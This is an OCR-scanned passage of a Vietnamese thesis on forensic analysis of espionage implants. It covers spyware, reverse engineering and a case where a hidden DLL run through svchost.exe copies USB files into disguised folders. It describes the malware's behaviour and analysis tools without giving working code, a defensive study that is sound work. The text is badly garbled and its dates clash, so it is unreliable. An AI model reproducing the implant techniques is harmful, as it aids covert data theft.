Bén canh dia chi IP, mdi may tinh con c6 mét cach tu dinh danh duy nhat khac,
du duoc gan vao mang hay khong déu c6 mot dia chi vat Iy duy nhét va khong tring
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lip. Chung duoc goi 1a dia chi MAC (Medium Access Control), 14 dia chi vat ly nam
trén card giao tiép mang (NIC). Khi roi nha may, nxs phan ctng gan dia chi vat ly
cho mdi NIC bang céach lap trinh vao chip NIC. Néu NIC duoc thay thé thi dia chi
ciia may tram ciing thay ddi theo va twong ang c6 mot dia chi vat ly méi. Dia chi
MAC bao gém 12 con sb hexa (0-9 va A-F), thuong duoc viét dudi dang
123456789ABC hoac 123456-789ABC, nhung n6 nén dugc viét dudi dang 12-34-
59-78-9A-BC. Trong d6 6 con sb dau tién bén trai 1a dic ta cho nha san xuét NIC,

cOn 6 con sd con lai 1a sb seri caa NIC.

Trong Windows, dé xem dugc dia chi MAC cua NIC, ching ta cé thé gb dong

Iénh: nbtstat —a <dia chi IP> hoac getmac:

E¥ Command Prompt — O >

Trong khi dia chi MAC hoat dong ¢ tang lién két dir liéu (Data link layer (tang
2), trong mo hinh OSI) thi dia chi IP lai hoat dong & ting mang (Network layer (ting
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3)). Piéu d6 1a don gian, tuy nhién ciing c6 thé suy nghi theo hudng dia chi IP hd tro
cho hoat dong ctia phan mém con MAC hd tro cho hoat dong cta phan cing trong
ngin xép mang (network stack). Pia chi MAC thudng duoc luu trir ¢d dinh va di
kém theo thiét bi mang, con dia chi IP thay ddi khi thiét bi di chuyén tir mang nay

sang mang khac.

Mang theo giao thuc IP stir dung 4nh xa gitra dia chi IP cua thiét bi va dija chi
MAC ctia n6. Ché do anh xa nay dugc goi la by nhd dém (cache) ARP hoac bang
ARP. Giao thirc phan giai dia chi (ARP) cung cip cic nguyén ly dé thuc hién anh
xa va cap nhat bang ARP

1.6.2. Phan mém gian diép (Spyware)

Phin mém gian diép 13 loai phan mém chuyén thu thap céc thong tin tir cac
may chu (thong thuong vi muyc dich thuong mai) qua mang Internet ma khong co su
nhan biét va cho phép cua chit may. Mot cach dién hinh, spyware duogc cai dat mot
cach bi mat nhu 13 mot bo phan kém theo ciia cac phan mém mién phi (freeware) va
phan mém chia sé (shareware) ma ngudi ta ¢ thé tai vé tir Internet. Mot khi da cai
dat, spyware diéu phdi cac hoat dong cia may chu trén Internet va ling 18 chuyén
cac dir liéu thong tin dén mot may khac (thuong 13 cua nhitng hing chuyén ban
quang cao hodc cua cac tin tic). Phan mém gian diép cling thu thap tin tic vé dia

chi thu dién tir va ngay ca mat khau ciing nhu 14 s6 thé tin dung.

Spyware "dugc" cai dat mot cach vo td1 va khi ma nguoi chu may chi mudn cai
dit phan mém c6 chirc nang hoan toan khac.

Ngoai cac van dé nghiém trong vé dao duc va ty do ca nhan bj xdm pham,
spyware con st dung (danh cdp) tir may chu céc tai nguyén ciia bd nhé (memory

resource) an chin bang thong khi né giri thong tin trd vé chu cua cac spyware qua
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cac lién két Internet. Vi spyware dung tai nguyén cta b nhd va caa hé thong, cac
mg dung chay trong nén (background) cé thé dan téi hu may hay may khong 6n
dinh.

Boi vi 12 mot chuong trinh doc 1ap nén spyware c6 kha ning diéu khién céc to
hop phim bam (keystroke), doc cac tp tin trén 6 cing, kiém soat cac tng dung khac
nhu 14 chuong trinh trd chuyén truc tuyén hay chuong trinh soan thao vin ban, cai
dit cac spyware moi, doc cac cookie, thay doi trang chit mic dinh trén cac trinh
duyét web, cung cap lién tuc cac thong tin trd vé chu cua spyware, ngudi ma co thé
dung céc tin tirc nay cho quang cao/tiép thi hay ban tin tic cho cac chd khac. Va té
hai nhat 1 n6 c6 kha ning an cip mat khau truy nhap (login password) ciing nhu an
cap cc tin tirc riéng tu ciia ngudi chii may (nhu 14 sb tai khoan & ngan hang, ngay

sinh va cac con s quan trong khac...) nham vao cac muu do xau.

C6 thé phan loai spyware thanh cac loai nhu: Browser Hijacker (Chiém doat
trinh duyét web), Browser Toolbar (thanh cong cu trinh duyét), Pop-up
Advertisement (popup quang céo), Winsock Hijacker (chiém doat winsock), Man-

in-the-Middle Proxy (Proxy trung gian),.....

Bat ki mdt trong cac dau hiéu sau day xdy ra cling c6 thé la may cua ban da bi

tan cong:

1. Ban tim thidy mot thiét bi nho ¢& ngdn tay ndi gitra day cap cua ban phim va
dau cam o sau may. Hay 1a nguoi nao dé dé nghi tang (ban ré) cho ban mot
ban phim t6t hon!

2. Giay bién nhan tra tién dién thoai c6 thém s thué bao (phai tra phy phi) ma
ban chang bao gio goi t6i s6 d6 (tei Hoa Ky thi so nay bdt dau bang 900).

3. Khi ban g& tim mét dia chi trén "Internet Explorer” va nhan nat "Enter" dé bat

tim kiém thi trang "search" thuong ding bi thay bai mét trang search la.
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4. Céac chuong trinh chdng spyware khdng hoat dong dugc. N6 ¢6 thé bao 15i
méat nhitng tép tin can thiét, ngay ca sau khi cai dat tro lai thi van khdng hoat
dong. Nguyén do la cac phan mém gian diép da ngin chian khdng cho cai cac
chuong trinh chéng gian diép hoat dong hiru hiéu.

5. Ban tim thay nhimng tén dia chi la trong danh sach "Favorites" mac du ban
chua hé dit né vao trong muc nay.

6. May tu nhién chay cham hon thuong nhat. Néu 1a 1a WinXP hdy tha chay
"Task Manager" va nhan muc "Processes” (tién trinh) thi thay nhitng tién trinh
khong quen biét ding gan nhu 100% thoi luong caa CPU.

7. O thoi diém ma ban khong hé 1am gi véi mang ma van thay dén giri/nhan chop
sang trén "dial-up" hay "board band modem" giéng nhu 14 khi dang tai mot
phan mém vé may hay la c4c biéu tugng "network/modem" nhap nhay nhanh
khi ma ban khéng hé ndi may vao mang.

8. Mot "search toolbar" hay "browser toolbar" xuat hién mic du ban khéng hé
ra lénh dé cai dat nd va khong thé xoa ching, hay 1a ching xuat hién tro lai
sau khi xoa.

9. Ban nhan mét ctra s6 quang co khi trinh duyét chua hé chay va ngay ca khi
may chua ndi két véi Internet hay 1a ban nhan duoc cac quang céo co dé tén
ban trong d6.

10. Trang cha cta ban bi d6i mot cach ki cuc. Ban d6i né lai bang tay nhung nd
lai bi sta...

11. G& vao cac dia chi quen biét ma chi nhan duoc trang tréng khong hay bi bao
16i "404 Page cannot be Found".

12. Dau hiéu cudi cing: Moi thir hinh nhu trd vé binh thuong. Nhitng spyware
manh thuong khong dé dau tich gi ca. Nhung hiy kiém lai may cua minh ngay

ca trong treong hop nay
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Duéi gbc d6 nghiép vu Cong an, ¢ nhitng phan mém c6 chic ning twong tu
spyware duoc dé cap o trén nhung lai ¢6 nhiéu dic diém khac han. D6 chinh 1a cac
phan mém cai cim duoc dé cap trong dé tai nay. Cac phan mém nay duoc tao ra
nham phuc vu cho muc dich thu tin bi mét ctia co quan dic biét cac nudc. Ching
duoc 1ap trinh mot cach ky ludng, giai thuat khén ngoan, dugc nguy trang kin dao.
Hoat dong cua chiing khong 16 lidu nhu spyware binh thuong, Sau day s& goi loai

phan mém nay la phan mém cai cam dé phan biét v4i spyware thong thuong.

Khi sir dung céc chuong trinh chéng virus va spyware don gian, thuong khdng
thé phét hién dugc phan mém cai cam. Chi cac chuong trinh sir dung phuong phap
dua theo kinh nghiém (heuristic) hoac danh gia theo hanh vi (behaviour) c¢é thé tinh
co phat hién duoc loai phan mém nay. Nguyén nhan 1a Spyware thong thudng nao
d6 vo tinh co cac hanh vi giong nhu phan mém cai cam. Tuy nhién, lGc cac phan
mém chéng spyware nhan biét dugc sy c6 mit caa phan mém cai cim thi ching
thuong duoc str dung kha 1au. Truong hop cac chuong trinh chong spyware phat
hién dugc sy c6 mat cua phan mém cai cim, ching ta khdng bao gi¢r duwoc chon cach
xtr ly x6a phan mém di. Pay 1a mot ch y quan trong, vi viéc xa Iy phan mém cai
cam khong chi dirng & muc x6a bo, thao g ma con mé rong ra cac hudng diéu tra
vé thu pham.

1.7. Hop ngir (Assembly Language) va Reverse Engine
1.7.1 Hop ngir (Assembly Language)

Trong lap trinh may tinh, Hop ngir (hay assembly) thuong dugc viét tat
la asm 1a bat ky ngdn ngit 1ap trinh cip thdp nao co sy twong Umg rat manh giira cac
tap lénh trong ngdn ngir va tap 1énh ma may cua kién trac. Boi vi hop ngit phu thudce

vao tap 1énh ma may, mdi trinh bién dich c6 hop ngtr riéng duoc thiét ké cho chinh
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xac mot kién tric may tinh cu thé. Hop ngir ciing c6 thé dugc goi 1a ma may tugng

trung (Symbolic machine code).

M3 hop ngit duge chuyén do6i thanh ma may thyuc thi bang mot chuong trinh
duoc goi 1a assembler. Qua trinh chuyén ddi dugc goi 1a assembling. Hop ngir
thuong c¢6 mot cau 1énh trén mot 1énh may (1:1), nhung cac comment va cac cau
1énh 1a chi thi trinh bién dich, macros, va cac nhan chuong trinh va dia chi bo

nhé ciing dugc hd tro

Mbi mét hop ngir 13 danh riéng cho mot kién tric may tinh cu thé va doai khi
cho mot hé diéu hanh. Tuy nhién, mot sé hop ngit khéng cung cap cl phap riéng cho
101 goi hé diéu hanh, va hau hét cac hop ngit c6 thé duogc sir dung pho bién véi bat
ky hé diéu hanh nao, vi ngdn ngir ndy cung cip quyén truy cip vao tat ca cac kha
nang thuc su cua bo xu ly, theo do tat ca cac co ché goi h¢ théng déu dung lai. Trai
nguoc vai hop ngit, hau hét cac ngdn ngir 1ap trinh bac cao thudng c6 kha ning di
dong trén nhiéu kién trac nhung yéu cau thong dich hoac bién dich, mot cong viéc

phtic tap hon nhiéu so voi assembling.

Hop ngit da timg duoc ding rong réi trong tat ca cac khia canh lap trinh, nhung
ngay nay no c6 xu huéng chi duogc dung trong mét sé lanh vuc hep, chii yéu dé giao
tiép truc tiép voi phan climg hodc xir Iy cac van dé lién quan dén téc do cao dién hinh
nhu cac trinh diéu khién thiét bi, cac hé thong nhiing cap thap va cac ung dung thoi

gian thuc.

1.7.2 Reverse Engine

K¥ nghé dao ngwge (hay cong nghé dao ngwoc, ky thuat dao ngworce) (reverse
engineering) 1 qua trinh tim ra cac nguyén 1y k¥ thuat cia mot phan mém mg dung

hay thiét bi co khi qua viéc phan tich ciu tric, chic ning va hoat dong cta nd. Trong
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qué trinh nay, nguoi ta thuong phai thao do ddi tuong (vi du mot thiét bi co khi, mot
thanh phan dién tir, mot phan mém) thanh timg phan va phén tich chi tiét hoat dong
cua no, thuong la vaoi muc dich xay dung mot thiét bi hoac phﬁn mém méi hoat dong

gidng hét nhung khong sao chép bat cir thir gi tir ddi tuong nguyén ban.

K¥ nghé ddo ngwoc dugc ap dung trong cac mang Ky thuat may tinh, K¥ thuat
co khi, Ky thuat dién tir, Cong nghé phﬁn mém, K§ thuat hoa hoc va Sinh hoc hé
thong.

C6 rat nhidu myc dich dé thyc hién k¥ nghé dao nguoc trong nhiéu linh vyc. N6
duoc biét dén trong viéc phan tich phan cing phuc vu cho muc dich thuong mai va
quan su. Tuy vay, cong viéc k¥ nghé dao ngugc khong anh hudng téi viée sao chep
hodc thay d6i hién vat theo mot cach nao d6 ma chi 1a cong cu phan tich dé suy ra
cac tinh ning c6 sin cta san pham thong qua rat it hodc khong co kién thuc vé qua
trinh san xuét ban dau cua ching.

Trong pham trii phdn mém, quy trinh dao nguoc gitp ting su thong hiéu vé ma
ngudn cta phan mém do trong viéc bao tri va cai tién. Thong tin lién quan co thé
duoc trich xuat nham dua ra goc nhin va quan diém khéac vé ma ngudn. Diéu d6 co
thé giup ta phat hién dugc 15i phan mém hoic 16 hong phan mém.

Pbi v6i nhitng nguoi phét trién phan mém éc ¥, ho sir dung k¥ nghé dao nguoc
dé tim 16 hong ctia hé diéu hanh dé tao ra virus may tinh. Ngoai ra, nganh phan tich
mat ma ciing can k¥ nghé dao nguoc dé tim 16 hong trong thay thé cipher, thuét toan
key ddi xtng, hodc ma hoa public-key.

1.8. Van dé thu tin trén mang Internet

1.8.1. Van dé thu tin cong khai

Internet phét trién manh mé ca vé quy mé 1an chat luong dich vu. Cling v6i nd
1a kha nang luu trir théng tin v6i khoi luong khong 16. Hau nhur tat ca céc tin tuc,
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kién thirc ctia nhan loai déu dugc dua 1én mang Internet. Thong qua cac dich vu cua
minh, dac biét 1a dich vu web, video,... Internet cho phép nguoi st dung khai thac
thong tin ctia nd. Viéc thu thap tin tirc trén Internet mot cach cong khai ciing kha dé
dang. Thong qua cac website vé tin tirc, hinh anh, website ctia cac to chuc (ké ca co
quan nha nudc), ca nhan..., ngudi can thu tin c6 thé d& dang c6 dugc nhiing tin tic

can thiét.
1.8.2. Van dé thu tin bi mat

Ngoai viéc thu tin cong khai, trén Internet cling ton tai cac ca nhan, to chirc co
¥ d6 thu tin bi mat. Cac thong tin thu cong khai trén Internet c6 d6 chinh xac khong
cao va khong chuyén sau. Hon nita, cac thong tin bi mat vé kinh doanh, thong tin tdi
mat lién quan dén an ninh qudc gia hay cac thong tin cu thé vé mdt ca nhan nao d6
s& khong bao gio duoc cong bd trén Internet. Chi co sir dung phuong phap thu tin bi

mat méi ¢ thé thu thap duoc nhimg tin tic do.
1.8.3. Hack dé thu tin

Qua trinh phat trién ctia may tinh va phan mém may tinh phat sinh nhiéu 15i
chuong trinh (bug) hay céc 16 hong bao mat (vulnerability). Ban than hé diéu hanh
va cac phan mém trén nén hé diéu hanh déu c6 thé dinh cac 16i bao mat ¢ nhiing
mitc 46 khac nhau. Piéu d6 con nguy hiém hon khi cdc may tinh dugc ndi mang.
Nhitng nguoi hiéu biét sdu vé mang va cac 16i bao mat c6 thé loi dung cac 16i nay
dé hack vao hé théng may tinh va lam cha hé théng ma nguoi dung khong hé nhan
biét. Sau khi thAm nhap duoc vao hé thong may tinh, ngudi tan cong c6 thé thuc hién
moi thao tac nhu trén may tinh cia minh. Ké tin cong c6 thé giam sat hoat dong cua

may tinh, cac thao tic ctia ngudi dung (gd mat khau, dia chi mail, ...)

1.8.4. Cai cim phian mém thu tin
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Bén canh viéce ké tan cong chu dong hack vao hé théng, hién nay hinh thutc tAn
cong pho bién nhat 13 loi dung cac website dé tai cac chuong trinh malware vao may
nan nhan. Do Internet da phan st dung IP dong, thudng xuyén thay ddi lién tuc nén
viéc tin cong bang phuong phap dya vao IP rat kho thuc hién, hon nita d& dé 16 y
do. Thay vao do, ké tAn cong s€ tao ra mot website chira ma doc, sau dé gui dia chi
ctia website ndy cho ngudi dung duyét web. Néu truy nhap vao dia chi ciia website
d6, may tinh ctia nguoi dung sé bi cai cim cac phan mém nguy hiém. Phan mém nay

s€ thu nhép dir liéu cua nan nhan va guri vé cho ké tan cong.

Mot cach cai cdm khéc rat don gian va kho luong d6 1a ké tan cong truc tiép
tién can, cai dat phﬁn mém 1én may tinh cua nan nhan dé thu tin. Véi cac tan cong
nay, ké tan cong co nhiéu diéu kién thuan loi vi ngoai cai cam phﬁn mém, con c6 thé
cau hinh hé théng may tinh theo ¥ mudn ctia minh dé d& dang truy nhap trai phép tur
Xa.

Trén day la nhimng kién thtc tong quan vé may tinh, mang may tinh, hé diéu
hanh Windows. .. Pay 1a nhimng kién thirc nén tang dé nguoi thuc hién tién hanh phat

hién va xtr ly mot truong hop cai cdm phan mém cu thé.

CHUONG 2: PHAN TICH MQT TRUONG HQP CU THE

Théng 2-2021, tai co quan dai dién Viét Nam ¢ nude ngoai, nhan vién trong don
vi phat hién thay may tinh hoat dong rat cham chap, sau mot thoi gian thi bao day
dung luong 6 cing. Pong thoi ho ciing phat hién thay khi cam USB flashdisk vao
may tinh thi thay hoat dong bat thuong. Khi tim kiém cac file trong USB theo tén
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thi phat hién thay céc file nay duoc copy vao cac thu muc MsDdac trong thu muc
C:\Program Files\Common Files\Microsoft Shared\MsInfo nhung bi d6i phan
ma rong (vi du. doc bi d6i thanh. fpe). Mot té cong tac ky thuat da duoc cir sang 1am

viéc va két qua da phat hién ra phan mém cai cam dé thu tin.

Tur két qua d6, nguoi huéng dan da dung lai hién trudng va giao cho ngudi thuc

hién phan tich lai truong hop trén
2.1. Phén tich hién trwong
2.1.1. B4o vé hién trudong

Trudc tién, dé c6 mau phan tich va gitt nguyén duoc hién truong, ngudi phan
tich phai ldy mau trén hé théng bi cai dat. Khi 1dy mau phai sao luu ca hé thong,
khong duoc lay riéng tirng thanh phan riéng biét. Hién nay, chuong trinh sao luu pho
bién va thuong dugc sir dung nhat d6 1a Norton Ghost. Ding phan mém nay sao
lru hé théng vao mot 6 cang hoan toan mai, ta sé Iy duoc mau dé phan tich. Tuy
khong phai thu giit ca hé théng may tinh nhung ngudi phan tich van phai cha y dén
cac tinh tiét phan cang cua hé thong d6 nhu cac thong tin vé phan cimg... dé xay

dung mai truong phan tich giéng vai hién trudng.

2.1.2. Tim kiém module gay nén hién tweng nghi van

Sau khi tiép nhan, sao luu hién trudng, ngudi phan tich dung lai hién truong
trén mot may tinh khac va tién hanh nghién ctru trén may tinh nay. Trudc tién, ta sir
dung cac chuong trinh quét virus, spyware... dé quét may nhung khong diét. Két

qua cho thdy may bi nhiém nhiéu loai virus, trong d6 c6 2 file dpnclt.exe va
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itirclt.exe trong thu muc C:\Program Files\system32 bi nhiém loai virus
Trojan.Spy.Agent.M.

2.1.2.1. Thanh phan thu tin

Theo hién twgng sao chép dit liéu tir USB, c6 thé du doan c6 mét tac nhan nao

d6 da 1am viéc nay. D6 chinh 1a thanh phan thu tin.

So sanh véi hé théng thong thuong, trong thu muc C:\ProgramFiles\Common
Files\Microsoft Shared\MSInfo chi mét vai file mac dinh va khéng ¢6 thu muc nao

Fle Edt View Favorites Tooks Heb »
Qe v ) T ) sech | rolders | [T
fddross || C:\Program Fles\Comman Files|\Microsoft Shared\MSinfo v Go
Foiders A P }, ARSI ) @) Evesoo
= S Local Dbk (C:) A '*'[ I "';-. thon o “: Control
it ) Documents and Ssttings — J {
= ) Program Fles ,

he nenfolz.exe
# 1) Advanced Ragistry Tracer 0 th
= [} Common Fles g Mol Corpardt

= 1) Microsoft Shared
® ) Da0
L.J Milrfo

Hinh 1. Thu myc MSInfo caa hé thdng binh thudng

Tuy nhién trén hé thong dang nghién ciru, trong thu muc ndy xuat hién cac thu
muc con la la MSDLsa. Mat khac, cac chuong trinh tng dung dugc nguoi dung cai
dat thuong khong bao gio tao lap dit liéu ¢ trong thu muc nay.
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MSinfo r N
Fle Edt View Fevorites Tools Help 1
O Back ~ ’ - Search Folders r.—x v

) C:\Pragyr am Fikes|Camamon Fles\Microsoft Shared\MsInfo v EJGo
Folders x
= e Local Disk (C:) - .! Medac ] MsDFsa
# 1) Documents and Settings . i —
= L) Program Files Y [EFILESS, INF
} | 0 .
+ ) Advanced Registry Tracer J MsDisa ."’ "
= ) Commoan Files s P '
= L) Mcrosoft Shared -y

msinf 032 exe
nl

05.0CX
) DAO % {("‘t oCx
+ _J Msinfo ) 1 )

Hinh 2. Thu muc MSInfo cta hé thong bi cai dit phan mém cai cam

Nhu vay, khang dinh rang, cac thu muc trén khéng phai thu muc caa Windows,
ma do chuong trinh cai cam tao ra dé nguy trang va luu dit liéu, ma do chwong trinh

cai cam tao ra dé nguy trang va luu trit dit liéu thu dugc.

Dua theo khang dinh nay, nguoi thuc hién sir dung chuong trinh FileMon dé
giam sat viéc truy cap file trong USB flaskdisk. Két qua cho thay dich vu svchost.exe
ciia Windows da sao chép cac file, thu muyc trong thiét bi luu trir di dong va doi phan
mo rong cua file, sau d6 luu vao thu muc C:\Program Files\Common
Files\Microsoft Shared\MsInfo\MsDdac. Toc do sao chép kha la nhanh, nhanh

hon trong moi trrong Windows
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File Edit View Favorites Tools Help :)'
cBack v &9 "' /‘ / Search ILL“ Folders { '
Address l;) C\Prog'am Files\CamnonFjle;s\Ni_cr@ft Shared\;WSIrftiMste;c V Go
Folders X
. DAO ~
= .0 MSInfo
o
') MsDFsa
) MsDLsa
+ | ) Speech
() Stationery v
< >

Hinh 3. Thu muc MSDdac trudc khi cim USB flashdisk

&% MsDdac e
Fle Edt View Favorites Tools Help -/
Qo - () ¥ Osearch |‘l£y Folders | [T7]*

Addriess | C:\Program Files\Common Files\Microsoft Shared\MsInfo\MsDdac v | [ Go
Folders X h___‘jDifectoryl

= 1) Microsoft Shared - @B.ao cao.-fqe
) DAO g @plcture _jpg.LRI
8 & Msifo — [@secner“ _TXT.VZY
= D tui liOu TCYN3_doc.fqe
') Directory1
L) MsDFsa
(L) MsDLsa N2
3] | -

Hinh 4. Thu muc MsDdac sau khi cam USB
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Fle fdt Optons Yohmes Heb
e KRBE O €9 Ay

Process A, Pah Rost Other

C) SVCHOST EXE068 CRE.. C\Program Fles\Comemon FirsWictosolt SharedWMSInfo\MsDdac\Diectory! SUCCESS Dptions: Cn
) SVCHOST.EXE:1083 CRE.. C:\Program Flas\Comon Fles\Mictosoft Sharod\MSInfo\MsDdac\Diecto\pickre_pg LRI SUCCESS Dptions: Oy
) SVCHOST.EXE: 1083 CRE... C:\Program Fles\Commen Fles\Mictosolt Shared\MSInlo\MDdac\B&o céo.fge SUDCESS Opboes: Oy
(= SVCHOSTEXEN083 CRE.. C:\Program Flas\Common Flas\Mictozolt Sharad\MSInlo\MsDdac\pchure_jpg LRI SUCLESS DOphons; O

] SVCHOST EXE1068 CRE... C:\Program Fies\Common Files\Macrosolt Sharad\MSnlo\MsDAsc\SECRET TXT V2V SUCCESS

__] SVOMOST.EXE AU CRE . U \Progrsm Fies\L omveon Fle s \Matotolt Shyed MSInlo\Maldss\ ThumYe 1 RAME INVALID Uphons. O
T SVEHOST EXE- 1089 CRE. . C:\Program Files\Common Flest\Macrosolt SharadWMSInio\MsDdac\ii i0u TCVN3 doc.fge  SUCCESS Options: Oy
| SVCHCET EE 1068 SRE C\Progras Fled\ Commen Fled blistasall 5hasd\MSInio\MaDdacipe NAME INVALID J i

Hinh 5. St dung FileMon kiém soét viéc truy cap file

Nhu cac hinh minh hoa & trén (Hinh 3,4,5), ta c6 thé thay svchost.exe di doc
dir liéu trong USB flashdisk, tao ra cac thu muc giéng véi thiét bi trong thu muc
MsDdac, sau d6 tao ra céac file c6 tén giéng nhu cac file dwgc luu trit trong USB
nhung c6 phan mé rong doi khac, rdi doc ting file trong thiét bi va ghi vao céc file

tuwong ung trong thu myc MsDdac.

Viéc ddi phan ma rong cua file 1a nham muyc dich nguy trang, tranh sy tim kiém
theo phan mo rong cua ngudi ding vo tinh tim thay. Thuat toan doi tén nay kha don
gian, d6 1a doc md ASCII ting Ky tu trong phan mé rong caa file, sau d6 cong ma

nay véi 2 dé va chuyén nguoc tro lai thanh ky tu nhung lai khéng theo modulo 26.

Do thuat toan khéng theo modulo 26 nay, svchost.exe khong thé sao chép duoc
cac file ma phan mé rong c6 chira Ky tu “y” hodc “z’, vi khi thay d6i phan mé rong,
‘y” dugc chuyén thanh ‘|’ va ‘z’ chuyén thanh “{¢, day la dinh dang khong hop 18
cho phan mé rong cua tén file. Ngoai ra, svchost.exe ciing khong thé sao chép duoc
cac thu muc va file c6 tén bang tiéng Viét (khéng co6 trong ban ASCII) va bang tiéng

Trung. That vay, qua thir nghiém va hinh minh hoa cho thay, véi thu myc tén ¢ Thw
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muc 1’ bang chuan Unicode va file pic.xyz bi chuyén thanh pic.x|{ déu bao 15i
NAME INVALID (Hinh 5)

Hién tuong trén chirng t6 c6 mot module nao d6 dugc svchost.exe kich hoat da
tu dong copy céc file trong USB flashdisk vao may tinh. Dé tim ra module lam viéc
nay, ta co thé st dung cac chuong trinh kiém soét tién trinh dé do xét. Tuy nhién,
chuong trinh Task Manager c6 sin cua Windows khéng thé dap tmg dugc yéu cau
nay. Do do, chirng ta phai sir dung cac chuong trinh chuyén dung hon nhu chuong
trinh Process Explorer, cho phép xem xét cac tién trinh dang hoat dong, dong thoi
cho biét tién trinh d6 str dung cac module nao. Trong khi phan tich can dic biét chu
y dén cac module ¢ phan ma rong dil hoic exe, ¢6 ngudn goc khong rd rang (khdng

c6 mo ta) va cac module c6 ngay thang tao lap khac biét.

Dua vao théng tin hién twong sao chép dit liéu trong USB flashdisk xay ra bat
dau vao thang 2/2021, nguoi phan tich da dung chuong trinh Process Explorer dé
phén tich va liét ké dugc cac module la, trong d6 c6 module mdidll.dll c6 ngay tao
lap 12 30/08/2021 va khong c6 mo ta. Cac module nay s& lan luot dugc phan tich sau
hon vé& ma 1énh dé xem xét hanh vi caa ching. Viéc dinh vi cac module nay 1a cuc
ky don gian. Process Explorer sir dung popup cung cap duong dan dén module dang

Xem Xxet.
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&2 Process Fxplorer - Sysinternals. www.sysinternals.com

Fle COptions View Process Find DL Help

B o= B3 NSNS —

Process FD CPU Description
= | System |de Proces: 0 83
™ Interrupts n/a 1 Hardware Indormupts
—IDPCs n‘a Defened Procedure Calls
= " System 4 1
= [SMSS ExE 552 Windows NT Session Manager Macrosolt Conporation
CSRSS.EXE 668 Chent Server Rurtime Process Miceosolt Corporation
WINLOGON EXE 692 Windows NT Logon Applcation Micsosoft Comporation
= [*JSERVICES EXE 744 1 Setvices and Controlier app Microeaft Corporation
MSYCHOSTEXE 904 Genaiic Host Process for Win32 Services Microsoit Corporation
SVCHOST 92 Genstic Hast 24 [or Win32 Services Miceozalt C alion
= SVCHOSTEXE 1128 1 Gensiic Host Procast for Wind2 Services Macsosalt Corporation |
FIWSCNTFY. . 1340 Windows Secusty Center Noshcaton App Micsosolt Corpocation
MSVCHOSTEXE 1264 Genetic Host Procest fo W32 Sevices Maczosolt Cosporation
™SVCHOSTEE 1320 Genetic Host Process for Win32 Services Miceocalt Corposation
SJsPOOLSVEXE 1452 Spooler SubSystem App Miczosalt Cosposation
; INETIRFOEXE 1604 Intemel Infoimalion Seivices Miciosolt Coporeation o
Name Deascription Compary Name Vession A
ketbesos di Kerberor Secunly Packags Miciosoft Cospora... 5.01.2600.2180
kemel32 di Windows NT BASE AF1 Chent DLL Miciosolt Copora.,  5.01.2600.2180
kenddsp tsp TAP! KenelMode Service Piovider Mictosolt Compera...  5.01.2600 2180
Wndows NT MPﬂ des Adrmenistration DLL Mictosolt Copeea .. 501.2600 2180
b Fllev Mictosolt Cotpera..  5.01.2600. 2180
SET NG TG & Miciozoft Copora . 5.01.2600.2180
metdil Wndows Ina.aieu Micicsoft Copora...  2003790.2180
meidle.di User Ide Mondor Micicsolt Copoea...  6.00.2900.2180
mevi_0.db Microsoft Authantication Package v1.0 Miciosoft Cospora..  5.01.2600 2180 ¥

Hinh 6. Str dung Process Explorer dé tim kiém module

Trong pham vi dé tai, nguoi thuc hién chi md ta viéc phan tich module da biét
chinh xac 1a thanh phan thu tin. D6 chinh 13 mdidIl.dIl duoc cai cdm trong thu muc
C:\Windows\System32.

Pé phan tich ma lénh caa module, trudc tén nguoi thuc hién phai tim hiéu céc
thong tin ban dau vé module d6 nhu chang duoc 1ap trinh bang ngdn ngir nao, trong
mdi truong nao, duoc bién dich bang chwong trinh nao, c6 bi pack, md hoa hay
khong... Sau dé ta co thé sir dung mot trong hai, hoac két hop ca hai chuong trinh
IDA va Olly Debug. Pay 1a hai chuong trinh duoc danh gia tot nhat trong linh vuc
RE, mdi chuong trinh déu c6 wu diém riéng, tuy nhién IDA hau nhu tréi hon so v6i
Olly Debug. O day, ngudi thuc hién sir dung IDA Pro Advances 5.2 (sir dung dugc
cho ca 32 bit va 64 bit) va Olly Debug 1.10 dé phan tich.
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Dau tién ta str dung chuong trinh PEid 0.93 dé kiém tra mdidIl.dll. Két qua thu
duoc cho biét module nay duoc 1ap trinh bang C++ trong méi trudng Microsoft
Studio 6.0 va khéng bi ma héa

78 DED vD.93

File: | D:\Graduation paperibkimdidl.di L
Entrypoint: 00002637 EP Section: | .text <.>.,]
File Offset: 00002637 FrstBytes:  §5,88,EC,53 > |
Linker Info: 6.0 Subsystem:  Win32 GUI > |
Microsoft Visual C++ 6,0 DLL

MutScan | | TaskViewer | | Qpbons | | About | Ext |
IV Stay on tw .'n.» | -> ‘

Hinh 7. Sir dung PEiD dé kiém tra thong tin mdidIl.dlI

Khi ding RDG Packer Detector 0.5.7 dé kiém tra & ché do « Powerful
Method, allowing multi-detection” (M-B), ta duoc két qua twong tur

"®'RDG Packer Detector V 0.5.7 BETA Cbp\'/‘R‘i'gh.l —- 2 '
File
D:\Graduation paper\bk\mdidi.dll Open I
Compression - Encryption - Compiler
Microsoft Visual C++ 6.0 DlI <-Compiler->
Nada <-Detected
<Possible->
Contact :» Stay ontop |-
oo g » :.m.ﬁé{.e"ét.:':m
File scanned in .22 Seg. » M-Am R SEEEm

Hinh 8. Str dung RDG Packer Detector dé kiém tra mdidll.dlI
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Sau khi d biét mot s6 thong tin co ban vé mdidll.dll, ta sir dung IDA Pro dé
tai vao va tu dong phan tich module mdidil.dll

OO L o2 R P R R

Fle B0t Juvp Search Vew Debugoer Cptons Windons Heb

BR | ~- WA O 1T v' v/ y -4 BEMN L=
DEe B TXAILE BRNY - BT vaE De

Bon QBB V- e BX @S- B-wSHE=-¢ : ;2% uh 2S5V LE
BEe AU FAA
- A | | TR e ]

0 0AViwA | 23 HonViewd | 2 Epots | BR inpats | W Maer | ¥ P [ Svuorass | En Erue "2 Shings

£ AV A

0 K T T R T e T S i O T e

o Jendafroc

Ly - . : ¢ g ntaiSensce > 2
H

i This File 15 generated by The Interactive Disassembler (1DR) | 2

' | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.cond | f'__lﬂ_" A AT
s | Liceased to: Mach EDU Dienstleistungen, Jan Mach, 1 wser, ade, 1172007 |

; Input DS @ AGIBIGCHIDI2VEISISF FE2CICSD28437

; File Mane @ Di\liraduation paper\bk\mdidll.dll

: Format : Pertablie executable For H0386 (PE)

3 Imagebase : 71000000

s Section V. (virtual address GDOU1DGN)

T Virtwal size : BUeMAFR (  SEB2.)

s wre om (o k39 _mOARNAR IR o IR 10O
Py
DA 12 analysing the tnput f1le,,,
YoU say Start te explore the 1mput f1le right now.
wex-Rays plugin has Deen Yoaded (v1.0.071108)
